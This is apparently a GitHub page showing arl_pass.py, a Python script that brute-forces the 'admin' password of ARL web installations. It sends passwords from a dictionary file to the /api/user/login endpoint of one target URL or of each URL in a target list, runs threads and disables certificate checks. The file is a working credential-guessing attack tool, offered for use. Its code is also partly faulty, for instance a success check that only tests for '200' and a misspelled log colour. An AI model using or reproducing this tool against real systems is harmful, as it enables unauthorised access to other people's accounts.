-
Notifications
You must be signed in to change notification settings - Fork 0
/
arl_pass.py
148 lines (125 loc) · 4.84 KB
/
arl_pass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import requests
import urllib3
urllib3.disable_warnings()
import argparse
import json
import urllib.parse
import threading
import queue
def banners():
logger("banner",'''
_____ _ _____ ______
/\ | __ \| | | __ \ | ____|
/ \ | |__) | | | |__) |_ _ ___ ___| |__ _ _ ________
/ /\ \ | _ /| | | ___/ _` / __/ __| __| | | |_ /_ /
/ ____ \| | \ \| |____ | | | (_| \__ \__ \ | | |_| |/ / / /
/_/ \_\_| \_\______| |_| \__,_|___/___/_| \__,_/___/___|
______
|______|
by: iak3ec
https://github.com/nu0l
''')
def arg():
parser = argparse.ArgumentParser(usage="python3 arl_pass.py [options]", add_help=False)
RePOC = parser.add_argument_group("Help","How to use")
RePOC.add_argument("-u", "--url", dest="url", type=str, help="Target URL (e.g. http://example.com)")
RePOC.add_argument("-f", "--file", dest="file", help="Select a target list url file (e.g. file.txt)")
RePOC.add_argument("-p", "--pass", dest="passwd", help="Select a password dictionary file (e.g. pass.txt)")
RePOC.add_argument("-h", "--help", action="help", help="Show help message and exit")
return parser.parse_args()
def logger(log="green", text=""):
if log == "green": #绿
print("\033[92m{}\033[0m".format(text))
if log == "red": #红
print("\033[91m{}\033[0m".format(text))
if log == "white": #白
print("\033[37m{}\033[0m".format(text))
if log == "yellow": #黄
print("\033[33m{}\033[0m".format(text))
if log == "banner": #logo
print("\033[1;36m{}\033[0m".format(text))
def headers():
headers = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept' : 'application/json, text/plain, */*',
'Content-Type' : 'application/json; charset=UTF-8'
}
return headers
def arl(url):
while not q.empty():
url = urllib.parse.urljoin(url,'/api/user/login')
data = {
"username" : "admin",
"password" : q.get()
}
'''proxies = {
'http' : 'http://127.0.0.1:8080',
'https' : 'https://127.0.0.1:8080'
}'''
try:
req = requests.post(url,data=json.dumps(data),headers=headers(),verify=False,timeout=10,allow_redirects=False,proxies=None)
global return_code
return_code = req.text
except Exception as e:
logger("yellow",e)
exit()
def thread(num,url):
for x in range(int(num)):
t = threading.Thread(target=arl,args=(url,))
t.start(),t.join() #unjoin
def main():
args = arg()
if args.url:
logger('green',('Start ' + args.url))
for line_pass in open(args.passwd):
line_pass = line_pass.strip()
line_pass = line_pass.strip("\r\n")
if line_pass == "":
continue
q.put(line_pass)
thread(5,args.url) #自定义线程数量
global return_code
if ("admin" and "200") in return_code:
logger('red',('[*] ' + args.url ))
logger('red',('[+] Find PassWord: ' + line_pass))
break
if args.file:
for line_url in open(args.file):
line_url = line_url.strip()
line_url = line_url.strip("\r\n")
if line_url == "":
continue
logger('green',('Start ' + line_url))
for line_pass in open(args.passwd):
line_pass = line_pass.strip()
line_pass = line_pass.strip("\r\n")
if line_pass == "":
continue
q.put(line_pass)
thread(5,line_url)
if ("admin" and "200") in return_code:
logger('rea',('[*] ' + line_url))
logger('red',('[+] Find PassWord: ' + line_pass))
break
if __name__ == '__main__':
banners()
q = queue.Queue()
return_code = ''
arg()
main()
'''
def req(url, headers, proxies):
try:
r = requests.get(url, headers=headers, proxies=proxies, timeout=5, verify=False)
return r
except requests.exceptions.ConnectTimeout:
if 'api.hackertarget.com' not in url:
console.log('[red][EROR] 连接 %s 超时' % url)
return 'Error'
except requests.exceptions.ProxyError:
console.log('[red][EROR] 连接代理失败' % url)
return 'Error'
except Exception as e:
console.log('[red][EROR] 访问 %s 发生错误,错误信息: %s ' % (url, repr(e)))
return 'Error'
'''